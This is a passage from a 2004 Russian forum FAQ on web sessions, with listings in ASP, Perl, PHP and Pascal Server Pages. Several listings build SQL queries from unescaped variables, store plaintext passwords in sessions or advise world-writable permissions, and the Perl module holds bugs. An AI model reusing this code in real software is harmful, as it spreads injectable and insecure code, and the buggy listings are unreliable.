<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function sess_destroy($id)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;global $db;</div><div class="code_line">&nbsp;&nbsp; &nbsp;mysql_query(&quot;DELETE FROM sessions WHERE session_key = &#39;$id&#39;&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;return true;</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
В обязанности функции сборщика мусора входит удаление тех сессий, которыми никто не пользовался в течении установленного срока. Срок годности будет передан ей интерпретатором. Сам процесс мы осуществим всего-навсего одним SQL-запросом.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.8, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function sess_gc($maxlifetime)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;global $db;</div><div class="code_line">&nbsp;&nbsp; &nbsp;mysql_query(&quot;DELETE FROM sessions WHERE create_ts &#60; DATE_ADD(now(), INTERVAL - $maxlifetime SECOND)&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;return true;</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
В заключение сообщаем интерпретатору, какие функции использовать для работы с сессиями.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.9, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">session_set_save_handler(&#39;sess_open&#39;, &#39;sess_close&#39;, &#39;sess_read&#39;, &#39;sess_write&#39;, &#39;sess_destroy&#39;, &#39;sess_gc&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp;or die(&#39;Error: couldn\&#39;t register session handler&#39;);</div></ol></div></div></div></div><br>
<br>
Дополнительное приемущество нашего механизма заключается в том, что чтобы узнать число активных пользователей достаточно выполнить один SQL-запрос. Если вам нужны более точные данные, то нужно установить срок годности поменьше, чем стандартные 15 минут.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.10, SQL:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">SELECT COUNT(*) FROM sessions</div></ol></div></div></div></div>]]></description>
        <author>Trustmaster</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=484110</guid>
        <pubDate>Fri, 15 Oct 2004 13:18:40 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=484110</link>
        <description><![CDATA[Trustmaster: <span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='13' style='font-size:13pt;'><strong class='tag-b'>2. Sessions.</strong></span></span><br>
<br>
Как бы ни были удобны cookies, но все же у них есть множество недостатков. Во-первых, это встроенные ограничения. Во-вторых, слабая защищенность (см. гл. 3). В-третьих, они не позволяют полностью контролировать сеанс пользователя. Поэтому следующей ступенью в управлении пользовательскими сеансами являются сессии.<br>
<br>
Каждый язык, предоставляющий возможность использования сессий имеет свои особенности реализации процесса. Данные сессий могут храниться во временных файлах на жестком диске сервера, в структурированных электронных таблицах или же в реляционных базах данных. При этом для того, чтобы серверный скрипт &quot;узнал своего клиента&quot; используются идентификаторы сессий, передаваемые как обычная GET/POST переменная или задаваемая в Cookie.<br>
<br>
Итак, от общих деталей пришла пора переходить к конкретным реализациям.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>2.1. ASP.</strong></span></span><br>
<br>
В ASP управление техническими деталями сессий ложится на плечи Microsoft IIS (Internet Information Service). Для передачи идентификатора сессии используется cookie. Пользовательская сессия стартует автоматически при обращении пользователя к любому ASP-скрипту. Сигналом к завершению сессии служит отсутствие какой-либо активности со стороны пользователя в течении 20 минут.<br>
<br>
Для управления текущей сессией ASP создает объект Session. Для того, чтобы записать переменную в текущий сеанс, нужно использовать следующий синтаксис:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">Session(&quot;var_name&quot;) = var_name</div></ol></div></div></div></div><br>
<br>
Давайте сохраним данные, полученные от HTML формы, в сессии.<br>
<br>
<strong class='tag-b'>Листинг 2.1.1, ASP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;%</div><div class="code_line">login = Request(&quot;login&quot;)</div><div class="code_line">password  = Request(&quot;password&quot;)</div><div class="code_line">Session(&quot;login&quot;) = login</div><div class="code_line">Session(&quot;password&quot;) = password</div><div class="code_line">%&#62;</div></ol></div></div></div></div><br>
<br>
Этот пример можно было бы написать в 2 строчки, но так нагляднее. Для того, чтобы получить переменную текущего сеанса, нужно использовать следующий синтаксис:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">var_name = Session(&quot;var_name&quot;)</div></ol></div></div></div></div><br>
<br>
Следовательно, для того, чтобы получить логин и пароль после выполнения скрипта из предыдущего листинга, можно использовать этот пример.<br>
<br>
<strong class='tag-b'>Листинг 2.1.2, ASP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;%</div><div class="code_line">login = Session(&quot;login&quot;)</div><div class="code_line">password = Session(&quot;password&quot;)</div><div class="code_line">%&#62;</div></ol></div></div></div></div><br>
<br>
Кроме того, в ASP существует объект Application, существующий в единственном экземпляре, но доступный из любого приложения. Его можно использовать совершенно таким же образом, как и Session. Давайте напишем в глобальную переменную log о своем присутствии.<br>
<br>
<strong class='tag-b'>Листинг 2.1.3, ASP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;%</div><div class="code_line">log = Application(&quot;log&quot;)</div><div class="code_line">log = log &amp; &quot; [ One more instance of this app working ! ]&quot;</div><div class="code_line">Application(&quot;log&quot;) = log</div><div class="code_line">%&#62;</div></ol></div></div></div></div><br>
<br>
Как видите, сессии в ASP крайне просты в использовании.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>2.2. Perl.</strong></span></span><br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>Автор</strong></span>:  Tishaishii<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>2.2.1. Основной алгоритм.</strong></span><ul class="tag-list"><li> Клиент впервые пользуется вашими услугами;</li><li> Вы получаете возможный максимум информации о нём, однозначно его идентифицируете;</li><li> В следующий раз, когда тот же клиент снова к вам обратится, его можно будет опознать по ранее установленному идентификатору и вспомнить информацию именно об этом клиенте, полученную в первый и последующие его визиты.</li></ul>Для идентификации клиента используется, естественно, клиентский идентификатор. Он выдаётся клиенту при создании сессии, и он же служит ключом к хранилищу информации о нём на другой стороне. Т.е. зная этот идентификатор, можно однозначно определить расположение сохранённой информации о соответствующем клиенте.<br>
<br>
Теперь про HTTP. Клиент хранит свой идентификатор разными доступными ему способами:<ul class="tag-list"><li> В зашифрованном файле (cookie)</li><li> В истории запросов</li></ul>В любом случае, получает он этот ключ через HTTP-заголовки и, как правило, предъявляет ключ тоже через них (специальные поля HTTP-заголовка или в URL после знака &quot;?&quot;), возможно, в теле запроса.<br>
<br>
Сервер же, может сохранять информацию о пользователе:<ul class="tag-list"><li> В базе данных</li><li> В структурированных файлах (сериализация)</li><li> Самый удобный способ - в оперативке. Об этом говорить не стану</li><li> Получать все данные от пользователя (удобно, но очень небезопасно)</li></ul>Теперь переходим непосредственно к Perl.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>2.2.2. Сессии собственными руками.</strong></span><br>
<br>
Что-то я говорил про сериализацию.<br>
Сериализация позволяет преобразовывать структуры данных из их внутреннего представления в среде реализации в сохраняемый и не зависящый от среды реализации формат.<br>
<br>
Для этих вот целей можно самому разработать много всяких вариантов.<br>
Например, поставлена задача сериализовать простую структуру и данные постоянно будут храниться в файле. А &quot;простая структура&quot; вроде:<br>
<br>
<strong class='tag-b'>Листинг 2.2.2.1, структурированный файл:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">%клиент={</div><div class="code_line">&nbsp;      идентификатор=&#62;1799,</div><div class="code_line">&nbsp;       вес=&#62;&#39;10 кило&#39;,</div><div class="code_line">&nbsp;    мука=&#62;&#39;15%&#39;,</div><div class="code_line">&nbsp;       сахар=&#62;&#39;нет&#39;,</div><div class="code_line">&nbsp;      &#39;получает</div><div class="code_line">&nbsp;в</div><div class="code_line">&nbsp;        год&#39;=&#62;&#60;&#60;&#39;...Информация...&#39;};</div><div class="code_line">&nbsp;                  Да,</div><div class="code_line">&nbsp; он получает</div><div class="code_line">&nbsp;    в год</div><div class="code_line">...Информация...</div></ol></div></div></div></div><br>
<br>
Ключ, как и соответствующее ему значение может состоять из любых символов.<br>
Не стану рассматривать все варианты записи такой структуры. Покажу, только, вариант, которым чаще всего пользуюсь в таких случаях. Кодирование:<br>
<br>
<strong class='tag-b'>Листинг 2.2.2.2, Perl:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">package Client;</div><div class="code_line">use locale;</div><div class="code_line">use MD5;</div><div class="code_line">&nbsp;</div><div class="code_line">sub Client::reset{</div><div class="code_line">&nbsp;   -f&amp;&amp;-M&#62;1 ? unlink : undef while &#60;${+\+directory}/*&#62;</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub encode{ # преобразование сивола в шестнадцатеричное целое 0x0&#60;=число&#60;0x100</div><div class="code_line">&nbsp; my$str=shift;</div><div class="code_line">&nbsp;  $str=~s~(\W)~sprintf&#39;%02X&#39;,ord~geos;</div><div class="code_line">&nbsp; +$str</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub decode{ # обратное encode преобразование</div><div class="code_line">&nbsp; my$str=shift;</div><div class="code_line">&nbsp;  $str=~s~%([a-f\d]{2})~+chr hex~geoi;</div><div class="code_line">&nbsp; +$str</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub keyval_enc{ # возвращает сериализованную строку</div><div class="code_line">&nbsp;  +&amp;encode(+shift).&quot;\t&quot;.&amp;encode(+shift).&quot;\n&quot;</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub keyval_dec{ # возвращает декодированную в две переменные строку</div><div class="code_line">&nbsp; my($key, $val)=split/\t/o,+shift, 2;chomp$val;</div><div class="code_line">&nbsp; +shift-&#62;{+decode $key}=decode $val</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub directory{</div><div class="code_line">&nbsp;  my$directory=shift||&#39;/sessions&#39;;</div><div class="code_line">&nbsp;   mkdir$directory,0700 unless -d$directory;</div><div class="code_line">&nbsp;  +$directory</div><div class="code_line">}</div><div class="code_line">sub filename{+join  &#39;/&#39;,             @_}</div><div class="code_line">&nbsp;</div><div class="code_line">sub save{ # запись данных в файл</div><div class="code_line">&nbsp;   my$client=shift;</div><div class="code_line">&nbsp;   my$directory=&directory;# в подпрограмму &quot;directory&quot;</div><div class="code_line">&nbsp;               # неявно передаются параметры @_</div><div class="code_line">&nbsp;   my$file_name=filename $directory, $$client{&#39;идентификатор&#39;};</div><div class="code_line">&nbsp;   my$temp_name=$file_name.&#39;.tmp&#39;;</div><div class="code_line">&nbsp;my$fh;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp; return undef unless open $fh, &#39;&#62;&#39;.$temp_file;</div><div class="code_line">&nbsp;      #flock$fh,2;</div><div class="code_line">&nbsp;   while(my($k, $v)=each%$client)</div><div class="code_line">&nbsp; {</div><div class="code_line">&nbsp;      print $fh keyval_enc $k, $v</div><div class="code_line">&nbsp;}</div><div class="code_line">&nbsp;      #flock$fh,8;</div><div class="code_line">&nbsp;   unlink($temp_name) | return undef unless close$fh &amp;&amp; rename$file_name, $temp_name;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp; +1</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub load{ # загрузка</div><div class="code_line">&nbsp;my$id=shift || return create;</div><div class="code_line">&nbsp;  my$client=shift||{};</div><div class="code_line">&nbsp;   my$directory=&directory;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;   $client_id=$$client{&#39;идентификатор&#39;} unless defined $client_id;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;my$file_name=filename $directory, $id;</div><div class="code_line">&nbsp; my$fh;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp; return create $client, $directory unless open $fh, &#39;&#60;&#39;.$file_name;</div><div class="code_line">&nbsp; keyval_dec $_, $client while &#60;$fh&#62;;</div><div class="code_line">&nbsp;return undef unless close$fh;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;  +$client</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub remove{</div><div class="code_line">&nbsp;   my$client=shift;</div><div class="code_line">&nbsp;   +unlink +filename +&amp;directory, +$$client{+&#39;идентификатор&#39;};</div><div class="code_line">&nbsp;# это не простые плюсики, они [i]медицинские[/i]</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">sub create{ # создание</div><div class="code_line">&nbsp;my$client=shift||{};</div><div class="code_line">&nbsp;   my$directory=&directory;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;   $client{&#39;идентификатор&#39;}=MD5-&#62;hexhash($ENV{REMOTE_ADDR}, localtime, time, rand);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;   +$client</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">+1;</div></ol></div></div></div></div><br>
<br>
Использование:<br>
<br>
<strong class='tag-b'>Листинг 2.2.2.3, Perl:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">package main;</div><div class="code_line">&nbsp;</div><div class="code_line">use Client;</div><div class="code_line">&nbsp;</div><div class="code_line">Client-&#62;reset;</div><div class="code_line">local$client=Client-&#62;load($id); # загрузка или создание записи</div><div class="code_line">$client-&#62;{Имя}=&#39;Не знамо какое&#39;;</div><div class="code_line">$client-&#62;{Номер_номера}=&#39;xyz&#39;;</div><div class="code_line">Client-&#62;save($client); # сохранение</div><div class="code_line">Client-&#62;remove; # удаление</div><div class="code_line">&nbsp;</div><div class="code_line">+1;</div></ol></div></div></div></div><br>
<br>
А ещё лучше создать модуль, основанный на связанных с объектом переменными, где метод new удаляет все старые файлы сессий и загружает соответствующие данные о клиенте, а метод DESTROY - сохраняет информацию в файл.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>2.2.3. Сессии с помощью модулей.</strong></span><br>
<br>
Очень рекомендую утилиту <strong class='tag-b'><em class='tag-i'>tkpod</em></strong> для просмотра документации модулей из mod_perl. Взять <strong class='tag-b'><em class='tag-i'>mod_perl</em></strong> можно знамо где, по адресу <a class='tag-url' href='http://perl.apache.org' target='_blank'>http://perl.apache.org</a>.<br>
<br>
<strong class='tag-b'>Листинг 2.2.3.1, Perl:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">use Apache::Session::MySQL;</div><div class="code_line">use Apache;</div><div class="code_line">&nbsp;</div><div class="code_line">use strict;</div><div class="code_line">&nbsp;</div><div class="code_line">#read in the cookie if this is an old session</div><div class="code_line">&nbsp;</div><div class="code_line">my $r = Apache-&#62;request;</div><div class="code_line">my $cookie = $r-&#62;header_in(&#39;Cookie&#39;);</div><div class="code_line">$cookie =~ s/SESSION_ID=(\w*)//;</div><div class="code_line">&nbsp;</div><div class="code_line">#create a session object based on the cookie we got from the browser,</div><div class="code_line">#or a new session if we got no cookie</div><div class="code_line">&nbsp;</div><div class="code_line">my %session;</div><div class="code_line">tie %session, &#39;Apache::Session::MySQL&#39;, $cookie, {</div><div class="code_line">DataSource =&#62; &#39;dbi:mysql:sessions&#39;, #these arguments are</div><div class="code_line">UserName =&#62; &#39;mySQL_user&#39;, #required when using</div><div class="code_line">Password =&#62; &#39;password&#39;, #MySQL.pm</div><div class="code_line">LockDataSource =&#62; &#39;dbi:mysql:sessions&#39;,</div><div class="code_line">LockUserName =&#62; &#39;mySQL_user&#39;,</div><div class="code_line">LockPassword =&#62; &#39;password&#39;</div><div class="code_line">};</div><div class="code_line">&nbsp;</div><div class="code_line">#Might be a new session, so lets give them their cookie back</div><div class="code_line">&nbsp;</div><div class="code_line">my $session_cookie = &quot;SESSION_ID=$session{_session_id};&quot;;</div><div class="code_line">$r-&#62;header_out(&quot;Set-Cookie&quot; =&#62; $session_cookie);</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>2.3. PHP.</strong></span></span><br>
<br>
С приходом стандартизиронного механизма сессий в PHP4, отпала всякая необходимость изобретать велосипед, организующий взаимосвязь между технической реализацией и самим скриптом.<br>
<br>
У каждой сессии в PHP есть свой уникальный (на самом деле, 100%-ную уникальность гарантировать нельзя, ведь даже случайно генерируемые сочетания могут совпадать) идентификатор. Он передается от стриницы к страницы либо в cookie (если утановлена директива &quot;session.use_cookies = 1&quot; в php.ini), либо в обычной GET или POST переменной, автоматически &quot;прицепляемой&quot; к каждому запросу. Обычно эта переменная имеет имя PHPSESSID, но эта, а также другие настройки сессий можно изменить в файле php.ini в секции &quot;[Session]&quot;.<br>
<br>
Механизмы реализации могут быть разными. О нестандартных механизмах мы поговорим в главе 3, а здесь рассмотрим стандартный механизм сессий PHP. Эти знания полезные еще и потому, что интерфейс использования сессий в PHP стандартизирован.<br>
<br>
Для начала о технической части. Стандартные PHP-сессии хранятся в структурированных временных файлах, именуемых &quot;sess_идентификатор_сессии&quot; и хранящихся либо во временной системной директории (&quot;/tmp&quot; в UNIX, &quot;C:&#092;Windows&#092;temp&#092;&quot; в Windows), либо в директории session.save_path, если таковая указана в php.ini. При этом файлы доступны для чтения любому пользователю системы, но об этом, опять же, в главе 3.<br>
<br>
Сессия создается при первом вызове функции session_start(). Эту функцию следует вызывать в начале сеанса и использовать до какого-либо вывода, как и все функции работы с сессиями.<br>
<br>
Все переменные сессии хранятся в суперглобального (доступного из любой области видимости) массива &#036;_SESSION (или &#036;HTTP_SESSION_VARS в старомодном стиле PHP3). Если в php.ini включена директива register_global, то используются также глобальные имена переменных. Поэтому в листингах код для register_globals = on или off будет размечен специальными комментариями.<br>
<br>
Для добавления новых переменных в сессию нужно зарегистрировать имена этих пременных функцией session_register(). Давайте, наконец, зарегистрируем полученные с POST-формы данные в сессии.<br>
<br>
<strong class='tag-b'>Листинг 2.3.1, PHP:<br>
<em class='tag-i'>register_globals = off или on</em></strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">// Получаем переменные с POST-формы</div><div class="code_line">$login = $_POST[&#39;login&#39;];</div><div class="code_line">$password = $_POST[&#39;password&#39;];</div><div class="code_line">// Начинаем сессию</div><div class="code_line">session_start();</div><div class="code_line">// Объявляем имена для регистрируемых переменных</div><div class="code_line">session_register(&#39;login&#39;, &#39;password&#39;);</div><div class="code_line">// Записываем значения переменных</div><div class="code_line">$_SESSION[&#39;login&#39;] = $login;</div><div class="code_line">$_SESSION[&#39;password&#39;] = $password;</div><div class="code_line">&nbsp;</div><div class="code_line">// Дальше какой-то код...</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<strong class='tag-b'><em class='tag-i'>register_globals = on</em></strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">// Начинаем сессию</div><div class="code_line">session_start();</div><div class="code_line">// Объявляем имена для регистрируемых переменных</div><div class="code_line">session_register(&#39;login&#39;, &#39;password&#39;, &#39;test&#39;);</div><div class="code_line">// С login и password все проходит автоматически (из-за глобальности),</div><div class="code_line">// а на примере test я покажу, как задавать еще не созданную переменную</div><div class="code_line">$test = &#39;Test variable value&#39;;</div><div class="code_line">&nbsp;</div><div class="code_line">// Вот и все!</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Те же действия нужно произвести, чтобы изменить значения уже заданных переменных.<br>
<br>
Для того, чтобы узнать, зарегистрирована ли переменная, используется функция session_is_registered(). Для удаления переменной функция session_unregister(). Удалим переменную test из сессии, если таковая зарегистрирована:<br>
<br>
<strong class='tag-b'>Листинг 2.3.2, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">session_start();</div><div class="code_line">if(session_is_registered(&#39;test&#39;))</div><div class="code_line">&nbsp;&nbsp; &nbsp;session_unregister(&#39;test&#39;);</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Как вы, наверно, уже догадались, получить данные сессии можно все из того же суперглобального массива &#036;_SESSION или же просто переменных с нужными именами в случае register_globals = on.<br>
<br>
<strong class='tag-b'>Листинг 2.3.3, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">session_start();</div><div class="code_line">$user = login($_SESSION[&#39;login&#39;], $_SESSION[&#39;password&#39;]);</div><div class="code_line">if(!$user) header(&#39;Location: wrong.html&#39;);</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
В сессии можно хранить любые переменные, включая массивы и объекты, которые подвергаются автоматической сериализации.<br>
<br>
Для того, чтобы сбросить все переменные текущей сессии существует функция session_unset(). Уничтожить текущую сессию можно, вызвав функцию session_destroy().<br>
<br>
<strong class='tag-b'>Листинг 2.3.4, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;;?php</div><div class="code_line">session_start();</div><div class="code_line">session_destroy();</div><div class="code_line">echo &#39;&#60;h1&#62;See you next time;)&#60;/h1&#62;&#39;;</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Кроме того, есть ряд других функций для работы с сессиями, которые могут пригодится для более точного взаимодействия:<ul class="tag-list"><li> string <strong class='tag-b'><em class='tag-i'>session_name</em></strong> ([string name]): каждой сессии можно присвоить строковое имя при помощи этой функции. Если же параметр не указан, то она возвращает текущее имя сессии.</li><li> string <strong class='tag-b'><em class='tag-i'>session_module_name</em></strong> ([string module]): задает/возвращает имя модуля, используемого для работы с сессиями.</li><li> string <strong class='tag-b'><em class='tag-i'>session_save_path</em></strong> ([string path]): задает/возвращает путь для сохранения файлов сессий.</li><li> string <strong class='tag-b'><em class='tag-i'>session_id</em></strong> ([string id]): задает/возвращает идентификатор текущей сессии.</li><li> array session_get_cookie_params (void): возвращает ассоциативный массив с индексами &#39;lifetime&#39;, &#39;path&#39;, &#39;domain&#39;, содержащий параметры использования cookies в текущей сессии.</li><li> void <strong class='tag-b'><em class='tag-i'>session_set_cookie_params</em></strong> (int lifetime [, string path [, string domain]]): задает параметры использования cookies для сессий в текущем скрипте.</li><li> Остальные специфические функции рассматриваются в главе 3.</li></ul><span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>2.4. Pascal Server Pages.</strong></span></span><br>
<br>
Ограничение на длину получаемого cookie в 255 символов послужило стимулом для появления в PSP 1.1 механизма сессий, который хранит данные на сервере и не имеет ограничений на объем данных.<br>
<br>
Использование сессий в PSP очень похоже на PHP, но механизмы разные. PSP использует cookies для хранения идентификаторов сессий, а сами данные хранятся в электронной таблице SDS (Simple Data Storage) на сервере. Прежде чем использовать сессии, вам нужно настроить PSP для работы. Прежде всего, следует создать SDS-таблицу для сессий. Используйте для этого программу &quot;psp/bin/conf/session_installer&quot; или &quot;psp/src/conf/session_installer.pp&quot; (сначала нужно скомпилировать). После компиляции следуйте указаниям программы. Затем поместите таблицу (&quot;sessions.sds&quot;) в конечную директорию. Например, в UNIX можно поместить ее в &quot;/var/sessions&quot; или &quot;/home/my_dir/sessions&quot;, в Windows можно поместить ее в &quot;c:&#092;temp&#092;sessions&quot;. Затем нужно сделать ее доступной для записи (&quot;chmod 777 sessions.sds&quot; или &quot;chown apache sessions.sds&quot;, это зависит от конкретной системы). Наконец, вы должны отредактировать файл &quot;psp.ini&quot; (&quot;psp/src/conf/psp.ini&quot;) и поместить его в директорию проекта. Вы должны изменить значение &quot;session_path&quot; на ваш путь (пример: &quot;c:&#092;temp&#092;sessions&#092;sessions.sds&quot;, &quot;/home/my_dir/sessions/sessions.sds&quot;) и изменить &quot;session_crypt_byte&quot; на новое значение. Теперь ваша программа может правильно использовать сессии.<br>
<br>
Имейте ввиду, все вызовы функций сессий должны идти до Web_Header.<br>
<br>
Чтобы начать сессию используется процедура Web_SessionStart:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">procedure Web_SessionStart;</div></ol></div></div></div></div><br>
Она автоматически создаст новую сессию или же получит идентификатор и данные текущей. Данные сохраняются таким же образом, как и данные GET/POST/COOKIE, поэтому получить их можно, к примеру, так:<br>
<br>
<strong class='tag-b'>Листинг 2.4.1, Pascal (PSP):</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">{...}</div><div class="code_line">begin</div><div class="code_line">Web_SessionStart; // Login и pass уже находятся в сессии</div><div class="code_line">Web_Header;</div><div class="code_line">login := Web_GetVar(&#39;login&#39;);</div><div class="code_line">pass := Web_GetVar(&#39;password&#39;);</div><div class="code_line">// Теперь можно что-то с этим пользователем сделать!</div><div class="code_line">{...}</div></ol></div></div></div></div><br>
<br>
Для добавления новой переменной существует процедура Web_SessionRegister:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">procedure Web_SessionRegister(name, value: string);</div></ol></div></div></div></div><br>
Она добавляет в сессию новую переменную и ее значение.<br>
<br>
<strong class='tag-b'>Листинг 2.4.2, Pascal (PSP):</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">{...}</div><div class="code_line">begin</div><div class="code_line">login := Web_GetVar(&#39;login&#39;); // Получаем логин с HTML формы</div><div class="code_line">Web_SessionRegister(&#39;login&#39;, login); // Создается сессия, содержащая одну переменную (login)</div><div class="code_line">pass := Web_GetVar(&#39;password&#39;); // Получаем пароль с HTML формы </div><div class="code_line">Web_SessionRegister(&#39;password&#39;, pass); // Пароль добавлен в сессию </div><div class="code_line">Web_SessionStart; // Ничто не остановит начало сессии!</div><div class="code_line">Web_Header;</div><div class="code_line">// Теперь можно что-то с этим пользователем сделать!</div><div class="code_line">{...}</div></ol></div></div></div></div><br>
<br>
Чтобы удалить переменную из сессии, нужно вызвать процедуру Web_SessionUnregister(), передав ей имя переменной в качестве аргумента.<br>
<br>
<strong class='tag-b'>Листинг 2.4.3, Pascal (PSP):</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">{...}</div><div class="code_line">begin</div><div class="code_line">Web_SessionUnregister(&#39;email&#39;); // Больше нет e-mail в сессии :(</div><div class="code_line">Web_SessionStart; // Но мы продолжаем ее использовать :)</div><div class="code_line">Web_Header;</div><div class="code_line">{...}</div></ol></div></div></div></div><br>
<br>
Наконей, для уничтожения сессии вызывается процедура Web_SessionDestroy, не принимающая аргументов.<br>
<br>
